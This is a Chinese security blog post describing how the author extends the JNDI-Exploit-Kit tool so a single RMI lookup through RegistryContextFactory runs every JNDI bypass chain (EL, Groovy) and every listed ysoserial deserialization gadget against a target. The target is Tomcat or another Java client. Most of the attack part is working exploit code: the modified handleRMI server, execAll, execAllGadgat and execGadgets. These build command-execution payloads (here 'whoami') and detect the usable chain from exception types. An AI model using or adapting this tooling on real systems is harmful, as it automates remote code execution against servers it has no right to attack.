最近学习了师傅寻找的一些JNDI漏洞的利用链受益匪浅,自己也尝试关于JNDI漏洞利用做一些挖掘,目前JNDI在利用过程我想到了两个问题。

  • 测试每一个JNDI Bypass 利用链都需要手动更改URL很不方便,能否我去请求一个地址,让目标将我所有的链跑一遍?
  • JNDI利用过程中可以通过反序列化利用,能否自动化探测反序列化利用链?

自动测试Bypass 利用链

为了让这种方式更加通用,我们首先考虑的是JDK原生的实现ObjectFactory的类,那么我注意到了下面几个类。

  • com.sun.jndi.rmi.registry.RegistryContextFactory
  • com.sun.jndi.ldap.LdapCtxFactory

RegistryContextFactory

调用分析

通过getURLs从Reference获取url列表并封装为数组,URLsToObject中对数组中的URL列表发起RMI请求,所以RegistryContextFactory满足我们的需求。

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
//判断是否为引用对象并且factoryClassname为RegistryContextFactory
if (!isRegistryRef(var1)) {
return null;
} else {
//从引用对象中获取URL列表并循环发起调用
Object var5 = URLsToObject(getURLs((Reference)var1), var4);
if (var5 instanceof RegistryContext) {
RegistryContext var6 = (RegistryContext)var5;
var6.reference = (Reference)var1;
}
return var5;
}
}
  • getURLs获取URL必须满足RefAddr是StringRefAddr类型且Type属性为URL才会保存。
private static String[] getURLs(Reference var0) throws NamingException {
int var1 = 0;
String[] var2 = new String[var0.size()];
Enumeration var3 = var0.getAll();
//从RefAddr中获取url并保存到数组中
while(var3.hasMoreElements()) {
RefAddr var4 = (RefAddr)var3.nextElement();
//只有RefAddr是StringRefAddr类型,且Type属性为URL才会保存
if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
var2[var1++] = (String)var4.getContent();
}
}
if (var1 == 0) {
throw new ConfigurationException("Reference contains no valid addresses");
} else if (var1 == var0.size()) {
return var2;
} else {
//返回URL数组
String[] var5 = new String[var1];
System.arraycopy(var2, 0, var5, 0, var1);
return var5;
}
}
  • URLsToObject中创建rmiURLContextFactory对象并调用getObjectInstancegetObjectInstance中判断传入的object类型如果是数组则调用getUsingURLs.
private static Object URLsToObject(String[] var0, Hashtable<?, ?> var1) throws NamingException {
rmiURLContextFactory var2 = new rmiURLContextFactory();
return var2.getObjectInstance(var0, (Name)null, (Context)null, var1);
} public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
if (var1 == null) {
return new rmiURLContext(var4);
} else if (var1 instanceof String) {
return getUsingURL((String)var1, var4);
} else if (var1 instanceof String[]) {
//数组类型
return getUsingURLs((String[])((String[])var1), var4);
} else {
throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
}
}
  • getUsingURLs创建rmiURLContext并循环调用lookup发起RMI调用直到获取一个对象并返回。
private static Object getUsingURLs(String[] var0, Hashtable<?, ?> var1) throws NamingException {
if (var0.length == 0) {
throw new ConfigurationException("rmiURLContextFactory: empty URL array");
} else {
rmiURLContext var2 = new rmiURLContext(var1);
try {
NamingException var3 = null;
int var4 = 0;
while(var4 < var0.length) {
try {
Object var5 = var2.lookup(var0[var4]);
return var5;
} catch (NamingException var9) {
var3 = var9;
++var4;
}
}
throw var3;
} finally {
var2.close();
}
}
}

利用分析

通过RegistryContextFactory利用只能使用rmi协议发起请求,所以目前只能用这种方式检测rmi相关的利用,在Orange师傅的JNDI- Exploit- Kit工具中集成了一部分关于RMI的利用链,其中也包含了TomcatGROOVY的bypass,当然Groovy的执行也依赖Tomcat。工具运行后会生成一些RMI的URL,我们可以将RegistryContextFactory也加到利用链中。

RMIRefServer中包含了RMI处理的逻辑,因此可以把RegistryContextFactory引用也注册进去。

/*
* Fuzz All Bypass
* Created by 藏青
*/
public ResourceRef execAll() throws RemoteException, NamingException{
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
//Mapper.references中保存了随机生成的rmi名称和利用方式的关系
for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
String mapKey = entry.getKey();
String mapValue = entry.getValue();
//如果是RegistryContextFactory则跳过,否则会造成递归查询
if(!mapValue.equals("BypassTestAll")){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
}
}
return ref;
}

RMIRefServer#handleRMI中会根据请求的url找到对应的处理方法生成引用对象并返回,所以我们只要将我们构造的execAll方法也加入到if判断中即可。

private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if ( method != 2 ) { // lookup
return false;
}
//获取rmi请求的对象名称,这里是随机生成的额名称
String object = (String) ois.readObject();
System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method);
String cpstring = this.classpathUrl.toString();
//根据取出的名称从Mapper.references中取出利用方式对应的名称
String reference = Mapper.references.get(object);
if (reference == null) {
System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found.");
//return false;
cpstring = "BypassByGroovy";
}
URL turl = new URL(cpstring + "#" + reference);
out.writeByte(TransportConstants.Return);// transport op
try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
//创建ReferenceWrapper包装类
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
// 根据名称不同调用不同的方法得到对应的引用对象
if (reference.startsWith("BypassByEL")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByEL.");
Reflections.setFieldValue(rw, "wrappee", execByEL());
} else if (reference.startsWith("BypassByGroovy")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByGroovy.");
Reflections.setFieldValue(rw, "wrappee", execByGroovy());
}
//将我们的构造的execAll方法加到判断中
else if (reference.startsWith("BypassTestAll")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassTestAll.");
Reflections.setFieldValue(rw, "wrappee", execAll());
}
else {
System.out.println(
String.format(
getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s",
new URL(cpstring + reference.concat(".class"))));
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}

由于util.Mapper#references中包含了引用关系,所以这里也需要做下更改。

static {
...
references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassTestAll");
instructions.put("BypassTestAll","Build in "+ withColor("JDK - (BYPASSAll by @藏青)",ANSI_RED) +" whose test All Bypass Payload");
}

当然我们也可以把之前分析的一些利用链也加进去,但是这并不是我们本片文章的重点,就不分析了。添加并启动后,可以看到我们我们添加的利用链地址。

在tomcat中请求我们创建的registry会将所有的利用链跑一遍,如果利用失败则会导致异常进入下一个利用链,直到跑成功获取对象并返回。

我们也可以从server端进行验证,因为我这里使用的tomcat8所以跑到el表达式后利用成功并返回。

栈溢出

忽然想到如果我们在引用中的地址也是RegistryContextFactory那不就会导致递归的lookup查询,是否会产生什么问题。服务端代码如下:

Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);

经过测试递归查询会触发tomcat的栈溢出异常,但是并不会对程序的使用产生影响。

LdapCtxFactory

LdapCtxFactoryRegistryContextFactory相对应,具体的过程不分析了,最终是通过LdapCtxFactory#getUsingURL来执行,但是只会获取到DirContext并没有调用Lookup方法,所以似乎不能利用。

private static DirContext getUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
Object var2 = null;
LdapURL var3 = new LdapURL(var0);
String var4 = var3.getDN();
String var5 = var3.getHost();
int var6 = var3.getPort();
String var8 = null;
String[] var7;
if (var5 == null && var6 == -1 && var4 != null && (var8 = ServiceLocator.mapDnToDomainName(var4)) != null && (var7 = ServiceLocator.getLdapService(var8, var1)) != null) {
String var9 = var3.getScheme() + "://";
String[] var10 = new String[var7.length];
String var11 = var3.getQuery();
String var12 = var3.getPath() + (var11 != null ? var11 : "");
for(int var13 = 0; var13 < var7.length; ++var13) {
var10[var13] = var9 + var7[var13] + var12;
}
var2 = getUsingURLs(var10, var1);
((LdapCtx)var2).setDomainName(var8);
} else {
var2 = new LdapCtx(var4, var5, var6, var1, var3.useSsl());
((LdapCtx)var2).setProviderUrl(var0);
}
//返回DirContext对象
return (DirContext)var2;
}

自动测试反序列化利用链

通过对问题一的分析,我们现在只能利用RMI协议来协助我们一次性发起多个RMI调用,目前的大多数工具都是基于Ldap来进行反序列化利用的,不过在RMI中也可以通过反序列化利用。

首先我们要利用的场景是去通过RMI攻击客户端,所以可以利用ysoserial#JRMPListener模块来利用,它构建了一个JRMP监听,当客户端发起请求时会构建一个异常对象BadAttributeValueExpException,并在这个异常对象的val属性中放入我们要构造好的恶意对象。

out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
//写入异常标识
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
//构建BadAttributeValueExpException异常对象,并在val属性中加入恶意对象。
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val",payload );
oos.writeObject(ex);

当客户端发起请求时,会在StreamRemoteCall#executeCall中通过判断returnType是否为TransportConstants#ExceptionalReturn来决定是否反序列化,也就是只有返回出现异常时才会对异常对象进行反序列化。

switch (returnType) {
case TransportConstants.NormalReturn:
break;
case TransportConstants.ExceptionalReturn:
Object ex;
try {
//当返回类型为ExceptionalReturn则进行反序列化
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}
// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}

但是由于我们构建了一个异常对象,在执行过程中会抛出异常。而我们在分析RegistryContextFactory时说过,只有当返回正常时才会停止,返回异常会继续请求其他的RMI地址,所以如果这样利用,只能把所有的反序列化利用链Fuzz一遍,我们并不知道哪个利用链可用。

失败尝试一

分析在StreamRemoteCall#executeCall的利用过程我发现,只要设置了TransportConstants#ExceptionalReturn都会进行反序列化,如果我们仅仅设置了这个字段,但是传入的是只是我们的恶意对象,能否绕过此处的报错?所以我对JRMPListener做了如下更改。

但是在反序列化结束后会判断我们传入的是否为异常对象,如果不是也会抛异常。

失败尝试二

继续分析发现RegistryImpl_Stub#lookup中也会进行反序列化,但是会将反序列化的结果转成Remote类型,如果我们返回的不是Remote的实现类也会导致异常。

利用分析

虽然我们不能直接通过是否继续请求来判断利用链存在,但是还是可以通过DNSLog的方式进行判断。我们可以在每次请求后获取DNSLog的结果,如果有返回值则代表利用链可用。

但是在编写好代码测试时惊喜的发现,在利用失败捕获异常时只会捕获NamingException类型的异常。

如果利用链没找到,会抛出CommunicationException异常,而这个异常是NamingException的子类,因此会被捕获

如果利用成功,抛出的是其他类型的异常,则不会被捕获。

但是这里还有一个问题,有些利用类存在,但是由于JDK版本或者其他问题导致不能利用,比如CC1,这个时候也会抛出其他异常,但是并不能触发漏洞,所以在自动化探测的时候要将这些类去除掉。

大概测了下在CC链中CC1,CC3,CC7都不能使用。CC1CC3都是因为JDK版本过高无法使用可以理解,但是在CC7中明明可以执行成功但是还是会返回CommunicationException异常。

其他的利用链也先不测试了,这里只大致说下思路。通过这种实现已经可以达到自动化探测部分利用链了。最终我们服务端请求中最后一个请求的gadget就是存在的利用链。

代码实现主要是在JNDI-Exploit-Kit基础上做了一点点小改进,主要是在if判断中继续加上了execAllGadgat方法。

execAllGadgat方法中遍历已经添加的利用链并添加到引用对象中。

public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};
public Object execAllGadgat() {
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
for(String gadget:gadgets){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
}
return ref;
}

由于我们的Payload并没有在references中添加,因此从Map中会获取不到,所以我这里加了一个判断,当object以ser开头,则表示是通过反序列化利用,给reference赋值。

最后再加上一个引用判断,如果以serial开头则取出调用链名称获取恶意对象直接写入。

public Object execGadgets(String className) throws Exception {
Class clazz = Class.forName("ysoserial.payloads."+className);
ObjectPayload<?> payload = (ObjectPayload<?>) clazz.newInstance();
final Object objBefore = payload.getObject("whoami", "exec_global");
return objBefore;
}

总结

虽然这次的小发现对于JNDI漏洞的利用来说可能有些画蛇添足,通过这几天的研究也发现了自己对RMI请求理解上的不足,最后对这种利用方式做一个总结。

  • 由于我们要传入一个ObjectFactory类名,所以需要一个Reference对象,但是JDK自带的只有LinkRef,不能传递ObjectFactory的类名,所以这里还是使用了tomcat中的ResourceRef,所以还是有些依赖Tomcat。
  • 由于LdapCtxFactory最终没有调用Lookup方法,因此目前只能通过RMI协议来进行自动化检测

  • 由于CC1,CC3,CC7无法通过返回的异常类型判断是否存在,所以不能检测这几条链。目前我只测了CC链,其他类型的利用链是否有异常未测试

JNDI漏洞利用探索的更多相关文章

  1. Nmap备忘单:从探索到漏洞利用 Part1

    在侦查过程中,信息收集的初始阶段是扫描. 侦查是什么? 侦查是尽可能多的收集目标网络的信息.从黑客的角度来看,信息收集对攻击非常有帮助,一般来说可以收集到以下信息: 电子邮件.端口号.操作系统.运行的 ...

  2. JBoss远程方法调用漏洞利用详解

    早上起床打开微博看到空虚浪子心大神发的一篇有关Jboss漏洞的文章,对我等菜鸟来说那边文章看起来还是很吃力的,所以查了查国内外的资料,翻译写了这边文章,记录一下. 在JBoss服务器上部署web应用程 ...

  3. fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...

  4. Linux环境下常见漏洞利用技术(培训ppt+实例+exp)

    记得以前在drops写过一篇文章叫 linux常见漏洞利用技术实践 ,现在还可以找得到(https://woo.49.gs/static/drops/binary-6521.html), 不过当时开始 ...

  5. apt28组织新的flash漏洞利用包dealerschoice分析

    17号paloalto发布了文章dealerschoice-sofacys-flash-player-exploit-platform,文中提到apt28正在编写adobe flash player的 ...

  6. Linux堆溢出漏洞利用之unlink

    Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...

  7. Struts2漏洞利用实例

    Struts2漏洞利用实例 如果存在struts2漏洞的站,administrator权限,但是无法加管理组,内网,shell访问500. 1.struts2 漏洞原理:struts2是一个框架,他在 ...

  8. LFI漏洞利用总结

    主要涉及到的函数 include(),require().include_once(),require_once() magic_quotes_gpc().allow_url_fopen().allo ...

  9. Drupal 7.31SQL注入getshell漏洞利用详解及EXP

    0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...

随机推荐

  1. atroot 的个人博客

    我的个人博客 左上角 MENU 打开导航菜单! 向下滚动查看内容! 为啥我要坚持更新博客 周围有很多小伙伴在问,你写博客会有人看嘛?如果没人看,那岂不是写的就没有意义了吗? 这个问题也一度让我陷入是否 ...

  2. flutter之搭建环境

    一. 环境搭建1.安装Flutter SDK 使用Flutter开发,首先我们需要安装一个Flutter的SDK. 下载Flutter的SDK 来到Flutter的官网网站,选择最新稳定的Flutte ...

  3. 学习Flutter从0开始

    一. 认识Flutter 1.1. 什么是Flutter 先看看官方的解释: Flutter is Google's UI toolkit for building beautiful, native ...

  4. SSRF打内网redis

    0x00 redis基础 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统.Redis是一个开源的使用AN ...

  5. JVM组成详解

    一.JVM 整体组成 JVM 整体组成可分为以下四个部分: 类加载器(ClassLoader) 运行时数据区(Runtime Data Area) 执行引擎(Execution Engine) 本地库 ...

  6. 【Java】成员变量赋值执行顺序

    程序中成员变量赋值的执行顺序

  7. 676. Implement Magic Dictionary

    Implement a magic directory with buildDict, and search methods. For the method buildDict, you'll be ...

  8. 返回值String是文本数据

    MyController类中: index.jsp中 修改text前: 改为text后: 还是有乱码是因为使用这个ISO-8859-1编码处理的 MyController中修改注解中属性

  9. AOP-底层原理

    AOP(底层原理) 1,AOP底层使用动态代理 (1)有两种情况动态代理 第一种 有接口情况,使用JDK动态代理 *创建接口实现类代理对象,增强类的方法 第二种 无接口情况,使用CGLIB动态代理 * ...

  10. && || 区别

    command1 && command2 如果command1 成功,那么就执行command2 command1 || command2 如果command1 不成功,那么就执行co ...